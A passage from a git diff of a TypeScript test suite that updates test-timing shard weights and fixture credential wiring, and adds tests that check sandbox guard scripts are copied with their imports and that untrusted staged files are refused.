"packages/ui-backend-claude/tests/subscription-gate.test.ts": 0.1, "packages/ui-backend-claude/tests/subscription.test.ts": 0.1, "packages/ui-backend-claude/tests/taint-note.test.ts": 0.1, @@ -423,7 +423,7 @@ "packages/ui-backend-claude/tests/voice-posture-selection.test.ts": 0.1, "packages/ui-backend-claude/tests/voice-posture.test.ts": 0.115, "packages/ui-backend-claude/tests/worker-cleanup.test.ts": 5.313, - "packages/ui-backend-claude/tests/worker-event-loop.test.ts": 0.805, + "packages/ui-backend-claude/tests/worker-event-loop.test.ts": 1.325, "packages/ui-backend-claude/tests/worker-exhaustion.test.ts": 1.438, "packages/ui-backend-claude/tests/worker-failure.test.ts": 0.1, "packages/ui-backend-claude/tests/worker-rtk.test.ts": 1.205, @@ -431,7 +431,7 @@ "packages/ui-backend-claude/tests/worker-state-budget.test.ts": 0.1, "packages/ui-backend-claude/tests/worker-state.test.ts": 0.1, "packages/ui-backend-claude/tests/worker-stdio-release.test.ts": 0.832, - "packages/ui-backend-claude/tests/worker.test.ts": 0.683, + "packages/ui-backend-claude/tests/worker.test.ts": 1.309, "packages/ui-backend-pi/tests/api-failure.test.ts": 0.556, "packages/ui-backend-pi/tests/ask-user-brief.test.ts": 0.391, "packages/ui-backend-pi/tests/auth.test.ts": 0.1, @@ -951,7 +951,7 @@ "packages/ui-server/tests/brain-mask-application.test.ts": 0.53, "packages/ui-server/tests/brain-sse-terminal.test.ts": 0.1, "packages/ui-server/tests/bridge-capabilities.test.ts": 1.909, - "packages/ui-server/tests/bundled-claude.test.ts": 1.306, + "packages/ui-server/tests/bundled-claude.test.ts": 20.863, "packages/ui-server/tests/cache-diagnostics.test.ts": 0.345, "packages/ui-server/tests/capture-outcome.test.ts": 0.684, "packages/ui-server/tests/chat-deletion-http.test.ts": 1.089, @@ -1218,13 +1218,13 @@ "packages/ui-server/tests/safety-history.test.ts": 4.25, "packages/ui-server/tests/safety-ledger.test.ts": 23.396, "packages/ui-server/tests/safety-loss-recovery.test.ts": 1.365, - "packages/ui-server/tests/safety-native-delivery.test.ts": 2.175, + "packages/ui-server/tests/safety-native-delivery.test.ts": 4.564, "packages/ui-server/tests/safety-occurrences.test.ts": 2.707, "packages/ui-server/tests/safety-pi-acquisition.test.ts": 0.968, "packages/ui-server/tests/safety-pi-delivery.test.ts": 3.712, "packages/ui-server/tests/safety-proxy-exposures.test.ts": 0.217, "packages/ui-server/tests/safety-result-exits.test.ts": 7.975, - "packages/ui-server/tests/safety-result-retention.test.ts": 14.602, + "packages/ui-server/tests/safety-result-retention.test.ts": 30.127, "packages/ui-server/tests/safety-reviews.test.ts": 12.124, "packages/ui-server/tests/saved-transcription.test.ts": 24.501, "packages/ui-server/tests/schedule-admission.test.ts": 10.32, @@ -1384,7 +1384,7 @@ "packages/ui-server/tests/ws-turn-budgets.test.ts": 9.606, "packages/ui-server/tests/ws-turn-failure-replay.test.ts": 9.575, "packages/ui-server/tests/ws-turn-id.test.ts": 1.721, - "packages/ui-server/tests/ws-turn-journal.test.ts": 5.76, + "packages/ui-server/tests/ws-turn-journal.test.ts": 6.696, "packages/ui-server/tests/ws-turn-temp-promotion.test.ts": 0.869, "packages/ui-server/tests/ws-web-access.test.ts": 0.1, "tests/answer-suggestions-targets.test.tsx": 1.369, @@ -1507,14 +1507,32 @@ "tests/markdown-anchors.test.ts": 0.1, "tests/measurement-fixture-lifetime.test.ts": 0.257, "tests/measurement-isolation.test.ts": 0.974, + "tests/measurement-rtk-fixture.test.ts": 0.205, "tests/module-hygiene-queries.test.ts": 0.95, "tests/module-public-imports.test.ts": 0.1, + "tests/native-bootstrap-diagnostics.test.ts": 0.727, + "tests/native-boundary-retention.test.ts": 0.102, "tests/native-dead-root-trace.test.ts": 0.1, + "tests/native-device-diagnostics.test.ts": 0.185, "tests/native-diagram-retired.test.ts": 0.205, "tests/native-event-log.test.ts": 0.1, + "tests/native-fixture-files.test.ts": 0.295, + "tests/native-guard-copy-closure.test.ts": 0.182, + "tests/native-namespace-policy.test.ts": 0.202, "tests/native-observation-phases.test.ts": 0.1, + "tests/native-path-preservation.test.ts": 0.125, + "tests/native-policy-artifact.test.ts": 0.191, "tests/native-pool-io.test.ts": 0.1, "tests/native-prerequisites.test.ts": 0.1, + "tests/native-receipt-channel.test.ts": 0.142, + "tests/native-relay-base-path.test.ts": 0.412, + "tests/native-rtk-adapter.test.ts": 0.215, + "tests/native-rtk-diagnostics.test.ts": 0.103, + "tests/native-sdk-stderr-capture.test.ts": 0.575, + "tests/native-strict-admission.test.ts": 4.719, + "tests/native-sync-probe-diagnostics.test.ts": 0.116, + "tests/native-worker-classification.test.ts": 0.485, + "tests/native-worker-fixture-inventory.test.ts": 0.213, "tests/offline-test-launcher.test.ts": 0.169, "tests/opportunity-cli-agreement.test.ts": 1.674, "tests/owned-loop-evidence.test.ts": 0.249, diff --git a/scripts/unit-shard-observation.json b/scripts/unit-shard-observation.json index d939c34b9e..84763835a2 100644 --- a/scripts/unit-shard-observation.json +++ b/scripts/unit-shard-observation.json @@ -390,5 +390,423 @@ "tests/candidate-extraction-paid.test.ts": 171.603, "tests/opportunity-lifecycle-paid.test.ts": 166.465 } + }, + "nativeGuardReview": { + "head": "08c9be52485a68fa297a9ec6aa1e454ca0531217", + "heavyRun": 44956104575, + "draftRun": 44955981839, + "draftJobs": [ + 137004288719, + 137004288763, + 137004288764 + ], + "units": "seconds", + "scope": "Completed file observations from failed or timed-out runs; scheduling evidence only, never passing proof", + "aggregation": "Maximum completed heavy file duration or completed loaded draft group duration / existing 6.84 load ratio; retain larger reviewed weights; round upward to milliseconds", + "artifacts": [ + { + "artifact": 14728105901, + "digest": "sha256:d691b6836fc364dc3899b449c30574d8d828263ad9776500db4a5f05b35a15b4" + }, + { + "artifact": 14727921994, + "digest": "sha256:9388be70156f46f366d011e430d45e1b732068ce84bb3a5fce574584803c853d" + }, + { + "artifact": 14728325844, + "digest": "sha256:24ee13e45da86eb9f46b21151f4b2db27196cf0df932c605162168fc441558f9" + }, + { + "artifact": 14727578449, + "digest": "sha256:b47409223fda1130a0a9be621f222a2cf13fa75e46559753c041839caa72e79c" + }, + { + "artifact": 14727573653, + "digest": "sha256:3c52ab769983e647e30651eb17055a55b4acb9013b093f1f872097226cccf441" + }, + { + "artifact": 14726839874, + "digest": "sha256:463bf3ff20c26f80642605a5fb8e680a3173f94688609f768d56179e4d355d4c" + }, + { + "artifact": 14728610048, + "digest": "sha256:c828f866fbe2839003df990a78f872758e973f1bd7ff5bfd9d8eff99024b0994" + }, + { + "artifact": 14728695145, + "digest": "sha256:e4385bef89c43c82710e90caae493f542c061cef1462f07bf4ccc830a2d64cb2" + } + ], + "heavySeconds": { + "packages/ui-sdk/tests/governed-worker.test.ts": 5.656, + "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts": 2.317, + "packages/ui-react/tests/safety-reviewer.test.ts": 2.01, + "packages/ui-backend-claude/tests/worker-event-loop.test.ts": 0.999, + "packages/ui-backend-claude/tests/worker.test.ts": 0.72, + "tests/native-receipt-channel.test.ts": 0.142, + "tests/native-worker-startup-diagnostics.test.ts": 0.002, + "packages/ui-server/tests/bundled-claude.test.ts": 20.863, + "packages/ui-server/tests/ws-turn-journal.test.ts": 6.696, + "tests/native-relay-base-path.test.ts": 0.412, + "packages/ui-react/tests/safety-client.test.ts": 0.303, + "tests/native-fixture-files.test.ts": 0.295, + "packages/ui-sdk/tests/egress-proxy.test.ts": 0.245, + "tests/private-proof-artifact.test.ts": 0.033, + "tests/search-witness.test.ts": 0.007 + }, + "draftLoadedSeconds": { + "packages/ui-backend-claude/tests/host-oauth.test.ts": [ + 8.694957, + 6.765687 + ], + "packages/ui-backend-claude/tests/native-route-qualification.test.ts": [ + 269.243201, + 285.325935 + ], + "packages/ui-backend-claude/tests/state-room-warning.test.ts": [ + 1.462005, + 1.021948 + ], + "packages/ui-backend-claude/tests/worker-event-loop.test.ts": [ + 9.057997, + 2.003126 + ], + "packages/ui-backend-pi/tests/duplicate-acquisition.test.ts": [ + 1.646948, + 0.926941 + ], + "packages/ui-backend-pi/tests/worker-cli-path.test.ts": [ + 2.327931, + 2.393413 + ], + "packages/ui-backend-pi/tests/worker-stdio-release.test.ts": [ + 3.127159, + 3.098779 + ], + "packages/ui-sdk/tests/gate-holder-crash.test.ts": [ + 5.428031, + 5.527508 + ], + "packages/ui-sdk/tests/refused-launch-gate.test.ts": [ + 6.05702, + 6.058001 + ], + "packages/ui-sdk/tests/worker-identity-progress.test.ts": [ + 10.471938, + 10.466007 + ], + "packages/ui-sdk/tests/worker-launcher.test.ts": [ + 9.231007, + 9.341011 + ], + "packages/ui-sdk/tests/worker-output-budget.test.ts": [ + 0.615011, + 0.61096 + ], + "packages/ui-sdk/tests/worker-steps-event-loop.test.ts": [ + 12.992992, + 13.008094 + ], + "packages/ui-server/tests/safety-native-delivery.test.ts": [ + 31.21215, + 22.743973 + ], + "packages/ui-server/tests/safety-result-retention.test.ts": [ + 206.066021, + 187.391987 + ], + "packages/ui-server/tests/ws-live-policy-parity.test.ts": [ + 42.080087, + 41.765884 + ], + "tests/experiment-tier.test.ts": [ + 6.231978, + 6.33096 + ], + "tests/hosted-proof.test.ts": [ + 23.693012, + 23.330028 + ], + "tests/measurement-entry.test.ts": [ + 0.045984, + 0.027163 + ], + "tests/native-audit-cancellation.test.ts": [ + 0.244793, + 0.199257 + ], + "tests/native-boundary-retention.test.ts": [ + 0.692963, + 0.632095 + ], + "tests/native-egress-wrapper.test.ts": [ + 0.374034, + 0.394975 + ], + "tests/native-guard-copy-closure.test.ts": [ + 1.244007, + 0.893003 + ], + "tests/native-managed-settings.test.ts": [ + 0.418, + 0.399036 + ], + "tests/native-path-preservation.test.ts": [ + 0.852006, + 0.556017 + ], + "tests/native-readonly-mount-order.test.ts": [ + 0.068989, + 0.068993 + ], + "tests/native-relay-base-path.test.ts": [ + 0.778938, + 0.785977 + ], + "tests/native-rtk-adapter.test.ts": [ + 1.468325, + 1.072018 + ], + "tests/native-runtime-credential-judge.test.ts": [ + 0.10398, + 0.006221 + ], + "tests/native-strict-admission.test.ts": [ + 32.276355, + 32.142021 + ], + "tests/native-worker-classification.test.ts": [ + 3.314155, + 3.043994 + ], + "tests/private-fixture-directory-access.test.ts": [ + 0.076998, + 0.05699 + ], + "tests/test-network-environment.test.ts": [ + 0.188001, + 0.160621 + ], + "tests/test-script.test.ts": [ + 6.938002, + 6.938073 + ], + "tests/workspace-lease.test.ts": [ + 9.87484, + 7.684931 + ], + "packages/core/tests/claude-runner-rejected-token.test.ts": [ + 13.174692, + 14.399965 + ], + "packages/ui-backend-claude/tests/host-relay-native.test.ts": [ + 29.73599, + 25.25083 + ], + "packages/ui-backend-claude/tests/native-restart-versions.test.ts": [ + 131.125143, + 139.523049 + ], + "packages/ui-backend-claude/tests/ordinary-host-relay.test.ts": [ + 153.610985, + 154.069252 + ], + "packages/ui-backend-claude/tests/provider-denied-memory.test.ts": [ + 1.135722, + 1.092992 + ], + "packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts": [ + 29.696018, + 32.805978 + ], + "packages/ui-backend-claude/tests/shell-startup.test.ts": [ + 232.882002, + 240.765084 + ], + "packages/ui-backend-claude/tests/worker.test.ts": [ + 8.947425, + 1.883937 + ], + "packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts": [ + 6.419991, + 10.238791 + ], + "packages/ui-sdk/tests/governed-worker.test.ts": [ + 6.630728, + 6.644045 + ], + "packages/ui-sdk/tests/worker-status.test.ts": [ + 0.590965, + 0.631033 + ], + "packages/ui-server/tests/autonomous-provider-masks.test.ts": [ + 25.124956, + 22.397025 + ], + "packages/ui-server/tests/brain-application-adapters.test.ts": [ + 8.405953, + 8.614 + ], + "packages/ui-server/tests/host-fallback-transition.test.ts": [ + 0.926996, + 1.023002 + ], + "packages/ui-server/tests/host-unpinned-folder-plan.test.ts": [ + 2.599015, + 2.459019 + ], + "packages/ui-server/tests/private-index-stdio-release.test.ts": [ + 4.878956, + 4.883374 + ], + "packages/ui-server/tests/turn-scope.test.ts": [ + 38.118973, + 36.217758 + ], + "tests/docs-paths.test.ts": [ + 11.616931, + 10.839048 + ], + "tests/local-checks.test.ts": [ + 5.58605, + 4.813008 + ], + "tests/measurement-rtk-fixture.test.ts": [ + 1.398011, + 1.303945 + ], + "tests/native-bootstrap-diagnostics.test.ts": [ + 4.970146, + 4.807976 + ], + "tests/native-device-diagnostics.test.ts": [ + 1.263015, + 0.851092 + ], + "tests/native-exec-trace.test.ts": [ + 0.241868, + 0.175191 + ], + "tests/native-helper-witness.test.ts": [ + 0.057999, + 0.043984 + ], + "tests/native-namespace-policy.test.ts": [ + 1.378034, + 0.729005 + ], + "tests/native-policy-artifact.test.ts": [ + 1.304993, + 1.229008 + ], + "tests/native-receipt-channel.test.ts": [ + 0.271958, + 0.250853 + ], + "tests/native-relay-turn-diagnostic.test.ts": [ + 0.088995, + 0.090988 + ], + "tests/native-rtk-diagnostics.test.ts": [ + 0.699971, + 0.68198 + ], + "tests/native-sdk-stderr-capture.test.ts": [ + 3.927018, + 3.744032 + ], + "tests/native-sync-probe-diagnostics.test.ts": [ + 0.786997, + 0.769007 + ], + "tests/native-worker-fixture-inventory.test.ts": [ + 0.498921, + 1.453044 + ], + "tests/private-proof-artifact.test.ts": [ + 0.073997, + 0.060999 + ], + "tests/test-shards.test.ts": [ + 2.312839, + 2.650021 + ], + "tests/worker-effect-witness.test.ts": [ + 0.059003, + 0.034005 + ], + "packages/core/tests/claude-runner-binary.test.ts": [ + 12.243792, + 16.444006 + ], + "packages/core/tests/claude-runner-subscription.test.ts": [ + 210.933011, + 218.313002 + ], + "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts": [ + 17.124945, + 16.896021 + ], + "packages/ui-backend-claude/tests/follow-up-delivery.test.ts": [ + 70.325039, + 62.838896 + ], + "packages/ui-backend-claude/tests/native-hosted-runtime.test.ts": [ + 235.554438, + 270.820541 + ], + "packages/ui-backend-claude/tests/native-stale-write.test.ts": [ + 110.821002, + 141.833968 + ], + "packages/ui-backend-claude/tests/sdk-host-relay.test.ts": [ + 276.028936, + 264.811067 + ], + "packages/ui-backend-claude/tests/subscription-billing.test.ts": [ + 240.999029, + 244.770073 + ] + }, + "updated": { + "packages/core/tests/claude-runner-binary.test.ts": 2.405, + "packages/core/tests/claude-runner-subscription.test.ts": 31.918, + "packages/ui-backend-claude/tests/ask-tool-request-id.test.ts": 2.504, + "packages/ui-backend-claude/tests/follow-up-delivery.test.ts": 10.282, + "packages/ui-backend-claude/tests/host-relay-native.test.ts": 4.348, + "packages/ui-backend-claude/tests/native-hosted-runtime.test.ts": 39.594, + "packages/ui-backend-claude/tests/native-restart-versions.test.ts": 20.399, + "packages/ui-backend-claude/tests/native-route-qualification.test.ts": 41.715, + "packages/ui-backend-claude/tests/native-stale-write.test.ts": 20.736, + "packages/ui-backend-claude/tests/ordinary-host-relay.test.ts": 22.525, + "packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts": 4.797, + "packages/ui-backend-claude/tests/sdk-host-relay.test.ts": 40.356, + "packages/ui-backend-claude/tests/shell-startup.test.ts": 35.2, + "packages/ui-backend-claude/tests/subscription-billing.test.ts": 35.786, + "packages/ui-backend-claude/tests/worker-event-loop.test.ts": 1.325, + "packages/ui-backend-claude/tests/worker.test.ts": 1.309, + "packages/ui-server/tests/bundled-claude.test.ts": 20.863, + "packages/ui-server/tests/safety-native-delivery.test.ts": 4.564, + "packages/ui-server/tests/safety-result-retention.test.ts": 30.127, + "packages/ui-server/tests/ws-turn-journal.test.ts": 6.696, + "tests/measurement-rtk-fixture.test.ts": 0.205, + "tests/native-bootstrap-diagnostics.test.ts": 0.727, + "tests/native-boundary-retention.test.ts": 0.102, + "tests/native-device-diagnostics.test.ts": 0.185, + "tests/native-fixture-files.test.ts": 0.295, + "tests/native-guard-copy-closure.test.ts": 0.182, + "tests/native-namespace-policy.test.ts": 0.202, + "tests/native-path-preservation.test.ts": 0.125, + "tests/native-policy-artifact.test.ts": 0.191, + "tests/native-receipt-channel.test.ts": 0.142, + "tests/native-relay-base-path.test.ts": 0.412, + "tests/native-rtk-adapter.test.ts": 0.215, + "tests/native-rtk-diagnostics.test.ts": 0.103, + "tests/native-sdk-stderr-capture.test.ts": 0.575, + "tests/native-strict-admission.test.ts": 4.719, + "tests/native-sync-probe-diagnostics.test.ts": 0.116, + "tests/native-worker-classification.test.ts": 0.485, + "tests/native-worker-fixture-inventory.test.ts": 0.213 + } } } diff --git a/tests/fixtures/autonomous-app-probe.ts b/tests/fixtures/autonomous-app-probe.ts index 15cef90d11..1df21cb9bf 100644 --- a/tests/fixtures/autonomous-app-probe.ts +++ b/tests/fixtures/autonomous-app-probe.ts @@ -107,7 +107,7 @@ async function main(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); - nativeScriptedService(upstream.url.origin, { fixtureRoots: [root] }); + nativeScriptedService(upstream.url.origin, { fixtureRoots: [root], fixtureCredentials:{ANTHROPIC_API_KEY:MARKERS.realKey} }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-containment-probe.ts b/tests/fixtures/autonomous-containment-probe.ts index 2a3d78d99c..8f1d95cea3 100644 --- a/tests/fixtures/autonomous-containment-probe.ts +++ b/tests/fixtures/autonomous-containment-probe.ts @@ -174,7 +174,7 @@ async function server(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } })); - nativeScriptedService(upstream.url.origin, { fixtureRoots: [root] }); + nativeScriptedService(upstream.url.origin, { fixtureRoots: [root], fixtureCredentials:{ANTHROPIC_API_KEY:MARKERS.realKey} }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-dispatch-probe.ts b/tests/fixtures/autonomous-dispatch-probe.ts index a8001885c4..9aac7cfbd9 100644 --- a/tests/fixtures/autonomous-dispatch-probe.ts +++ b/tests/fixtures/autonomous-dispatch-probe.ts @@ -85,7 +85,7 @@ async function main(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); - nativeScriptedService(upstream.url.origin, { fixtureRoots: [root] }); + nativeScriptedService(upstream.url.origin, { fixtureRoots: [root], fixtureCredentials:{ANTHROPIC_API_KEY:KEY} }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/helpers/native-guard-copy-inventory.ts b/tests/helpers/native-guard-copy-inventory.ts index b3bd9c56e8..cc9ea9e56b 100644 --- a/tests/helpers/native-guard-copy-inventory.ts +++ b/tests/helpers/native-guard-copy-inventory.ts @@ -7,10 +7,15 @@ const guardName=(file:string)=>/^(?:scripts\/)?test-(?:network|native)-guard\.ts const normalized=(file:string)=>file.startsWith("scripts/")||file.startsWith("packages/")?file:`scripts/${file}`; function literals(node:ts.Node):string[]{const values:string[]=[];function visit(child:ts.Node):void{if(ts.isStringLiteral(child)||ts.isNoSubstitutionTemplateLiteral(child))values.push(child.text);else ts.forEachChild(child,visit);}visit(node);return values;} export function guardCopyLists(owner:string,text:string):GuardCopyList[]{ - const source=ts.createSourceFile(owner,text,ts.ScriptTarget.Latest,true),arrays:ts.ArrayLiteralExpression[]=[],direct=new Map>();let copier=false; + const source=ts.createSourceFile(owner,text,ts.ScriptTarget.Latest,true),arrays:ts.ArrayLiteralExpression[]=[],direct=new Map>(),standalone=new Set();let copier=false; function scope(node:ts.Node):ts.Node{let parent=node.parent;while(parent&&!ts.isFunctionLike(parent)&&!ts.isSourceFile(parent))parent=parent.parent;return parent??source;} function visit(node:ts.Node):void{ - if(ts.isArrayLiteralExpression(node)&&(ts.isVariableDeclaration(node.parent)||ts.isForOfStatement(node.parent)||ts.isCallExpression(node.parent)&&/(?:copy|write)/i.test(node.parent.expression.getText(source)))&&node.elements.some(item=>(ts.isStringLiteral(item)||ts.isNoSubstitutionTemplateLiteral(item))&&guardName(item.text)))arrays.push(node); + if(ts.isArrayLiteralExpression(node)&&(ts.isVariableDeclaration(node.parent)||ts.isForOfStatement(node.parent)||ts.isCallExpression(node.parent)&&/(?:copy|write|Object\.freeze)/i.test(node.parent.expression.getText(source)))&&node.elements.some(item=>(ts.isStringLiteral(item)||ts.isNoSubstitutionTemplateLiteral(item))&&guardName(item.text))){ + arrays.push(node); + if(ts.isCallExpression(node.parent)&&node.parent.expression.getText(source)==="Object.freeze"){ + for(let parent:ts.Node|undefined=node.parent;parent;parent=parent.parent)if(ts.canHaveModifiers(parent)&&ts.getModifiers(parent)?.some(modifier=>modifier.kind===ts.SyntaxKind.ExportKeyword)){standalone.add(node);break;} + } + } if(ts.isCallExpression(node)&&/(?:^|\.)(?:copyFileSync|cpSync|writeFileSync|write)$/.test(node.expression.getText(source))){ copier=true; if(/(?:^|\.)copyFileSync$/.test(node.expression.getText(source))&&node.arguments[1]){ @@ -19,8 +24,8 @@ export function guardCopyLists(owner:string,text:string):GuardCopyList[]{ } }ts.forEachChild(node,visit); }visit(source); - if(!copier)return []; - return [...arrays.map(node=>({owner,line:source.getLineAndCharacterOfPosition(node.getStart(source)).line+1,files:new Set(node.elements.flatMap(item=>ts.isStringLiteral(item)||ts.isNoSubstitutionTemplateLiteral(item)?[normalized(item.text)]:[]))})), + if(!copier&&!standalone.size)return []; + return [...arrays.filter(node=>copier||standalone.has(node)).map(node=>({owner,line:source.getLineAndCharacterOfPosition(node.getStart(source)).line+1,files:new Set(node.elements.flatMap(item=>ts.isStringLiteral(item)||ts.isNoSubstitutionTemplateLiteral(item)?[normalized(item.text)]:[]))})), ...[...direct].filter(([,files])=>[...files].some(guardName)).map(([node,files])=>({owner,line:source.getLineAndCharacterOfPosition(node.getStart(source)).line+1,files}))]; } export function relativeImportClosure(root:string,entry:string):Set{ diff --git a/tests/native-direct-transport.test.ts b/tests/native-direct-transport.test.ts index a62d8adcaa..3698332894 100644 --- a/tests/native-direct-transport.test.ts +++ b/tests/native-direct-transport.test.ts @@ -10,6 +10,7 @@ test("direct native plans preserve product authentication without injecting sock const direct={...product,...nativeDirectTransportEnvironment(product,false)}; expect(direct,"DIRECT_QUERY_AUTH_ENV_UNCHANGED").toEqual({...product,ANTHROPIC_BASE_URL:"http://127.0.0.1"}); expect(direct,"DIRECT_QUERY_HAS_NO_SOCKET_LOGIN").not.toHaveProperty("ANTHROPIC_UNIX_SOCKET"); + expect(nativeDirectTransportEnvironment({ANTHROPIC_UNIX_SOCKET:""},false),"EXPLICIT_EMPTY_SOCKET_IS_PRESERVED_WITHOUT_MINTING_A_SOCKET").toEqual({ANTHROPIC_BASE_URL:"http://127.0.0.1",ANTHROPIC_UNIX_SOCKET:""}); expect(nativeDirectTransportEnvironment({...product,ANTHROPIC_UNIX_SOCKET:"/admitted/relay.sock"},true)).toEqual({ANTHROPIC_BASE_URL:"http://localhost",ANTHROPIC_UNIX_SOCKET:"/tmp/native-relay/relay.sock"}); }); diff --git a/tests/native-guard-copy-closure.test.ts b/tests/native-guard-copy-closure.test.ts index e5fe22c919..82b376741a 100644 --- a/tests/native-guard-copy-closure.test.ts +++ b/tests/native-guard-copy-closure.test.ts @@ -6,12 +6,12 @@ const root=join(import.meta.dir,".."); test("every copied offline guard includes its transitive relative import closure",()=>{ const owners=new Set();let lists=0; - for(const pattern of ["tests/**/*.ts","packages/*/tests/**/*.ts","scripts/**/*.ts"])for(const file of new Bun.Glob(pattern).scanSync({cwd:root})){ + for(const pattern of ["tests/**/*.ts","packages/*/tests/**/*.ts","scripts/**/*.ts","scripts/**/*.mjs"])for(const file of new Bun.Glob(pattern).scanSync({cwd:root})){ const text=readFileSync(join(root,file),"utf8");if(!/test-(?:network|native)-guard\.ts/.test(text))continue; for(const list of guardCopyLists(file,text)){lists++;owners.add(file);expect(missingGuardImports(root,list),`GUARD_COPY_IMPORT_CLOSURE ${file}:${list.line}`).toEqual([]);} } expect(lists,"GUARD_COPY_LISTS_ARE_ACTUALLY_DISCOVERED").toBeGreaterThanOrEqual(10); - for(const file of ["tests/experiment-tier.test.ts","tests/workspace-lease.test.ts","tests/helpers/unit-worker-fixture.ts","tests/helpers/test-invocation-fixture.ts","tests/native-policy-artifact.test.ts","tests/native-offline-boundary.test.ts"])expect(owners.has(file),"KNOWN_GUARD_COPY_OWNER_IS_DISCOVERED "+file).toBe(true); + for(const file of ["scripts/diagram-export-source.mjs","tests/experiment-tier.test.ts","tests/workspace-lease.test.ts","tests/helpers/unit-worker-fixture.ts","tests/helpers/test-invocation-fixture.ts","tests/native-policy-artifact.test.ts","tests/native-offline-boundary.test.ts"])expect(owners.has(file),"KNOWN_GUARD_COPY_OWNER_IS_DISCOVERED "+file).toBe(true); }); test("copy inventory rejects a missing transitive module in an otherwise complete list",()=>{ @@ -20,3 +20,9 @@ test("copy inventory rejects a missing transitive module in an otherwise complet const lists=guardCopyLists("fixture-copy.ts",text);expect(lists).toHaveLength(1); expect(missingGuardImports(root,lists[0]!)).toEqual(["scripts/native-test-receipts.ts"]); }); + +test("frozen JavaScript source plans participate in guard closure validation",()=>{ + const text='export const plan=Object.freeze(["scripts/test-network-guard.ts"]);'; + const lists=guardCopyLists("fixture-plan.mjs",text);expect(lists,"EXPORTED_FROZEN_GUARD_PLAN_DISCOVERED_WITHOUT_COPIER").toHaveLength(1); + expect(missingGuardImports(root,lists[0]!)).toContain("scripts/native-test-receipts.ts"); +}); diff --git a/tests/native-managed-inspection.test.ts b/tests/native-managed-inspection.test.ts new file mode 100644 index 0000000000..e65d380855 --- /dev/null +++ b/tests/native-managed-inspection.test.ts @@ -0,0 +1,66 @@ +import {expect,test} from "bun:test"; +import {mkdtempSync,mkdirSync,readFileSync,rmSync} from "node:fs"; +import {join} from "node:path"; +import ts from "typescript"; +import {fixtureSources,nativeSdkLauncher} from "./helpers/native-launcher-inventory"; +import {captureNativeFixtureStage,WORKER_RUNTIME_ENV} from "../scripts/test-native-guard"; + +for(const mode of ["valid","wrong-uid","wrong-bytes","changed","outside","unsupported","over-bound"] as const)test(`managed inspection uses bounded private reader: ${mode}`,async()=>{ + const root=mkdtempSync("/tmp/odysseus-stage-inspection-"); + const metadata={path:mode==="outside"?"../loom.md":"loom.md",kind:mode==="unsupported"?"other":"file",mode:0o600,bytes:7,stamp:"fixed",inode:"1"}; + let reads=0; + const manager={async listStage(){return [metadata];},async statStage(){return {...metadata,...(mode==="changed"&&++reads>1?{stamp:"changed"}:{})};},async readStage(){return {workerUid:21002,stream:new ReadableStream({start(c){c.enqueue(Buffer.from("Ithaca\n"));c.close();}}),completed:Promise.resolve({workerUid:mode==="wrong-uid"?21001:21002,bytes:mode==="wrong-bytes"?6:7})};}}; + try{ + const work=captureNativeFixtureStage(manager as never,"00000000-0000-4000-8000-000000000000",21002,mode==="over-bound"?6:1024,root); + if(mode==="valid"){await work;expect(readFileSync(join(root,"loom.md"),"utf8"),"PRIVATE_READER_BYTES_INSPECTED").toBe("Ithaca\n");} + else await expect(work,"UNTRUSTED_STAGE_INSPECTION_REFUSED").rejects.toThrow(); + }finally{rmSync(root,{recursive:true,force:true});} +}); + +test("transcript fixture preserves the product scratch publication capability",async()=>{ + const {prepareFixtureWorkerSandbox}=await import("../packages/ui-sdk/tests/helpers/worker-startup-view-fixture"); + const root=mkdtempSync("/tmp/odysseus-transcript-plan-"),brain=join(root,"brain");mkdirSync(join(brain,".brain/scratch"),{recursive:true}); + try{expect(readFileSync(join(import.meta.dir,"../packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts"),"utf8"),"TRANSCRIPT_FIXTURE_RETAINS_SCRATCH_AREA").not.toContain('profile: "strict", areas: []');const plan=prepareFixtureWorkerSandbox(brain,{home:root,profile:"strict"});expect(plan.areas.some(area=>area.name==="scratch"&&area.mount.writable),"TRANSCRIPT_PUBLICATION_SCRATCH_WRITABLE").toBe(true);} + finally{rmSync(root,{recursive:true,force:true});} +}); + +// Fixture-owned runtime switches are product inputs. A newly introduced switch +// must be represented in the real-plan parity matrix, rather than disappear. +test("all native fixture runtime switches are preserved by the guard projection",()=>{ + const seen=new Set(); + for(const [file,source] of fixtureSources(join(import.meta.dir,".."))){ + if(!nativeSdkLauncher(source))continue; + const visit=(node:ts.Node):void=>{ + if(ts.isPropertyAssignment(node)){ + const name=ts.isIdentifier(node.name)||ts.isStringLiteral(node.name)?node.name.text:""; + if(/^(?:CLAUDE_CODE_(?:DISABLE|ENABLE|USE)_|DISABLE_|ENABLE_)/.test(name)){ + seen.add(name);expect(WORKER_RUNTIME_ENV.has(name),"NATIVE_FIXTURE_RUNTIME_SWITCH_PRESERVED "+file+":"+name).toBe(true); + } + }ts.forEachChild(node,visit); + };visit(source); + } + 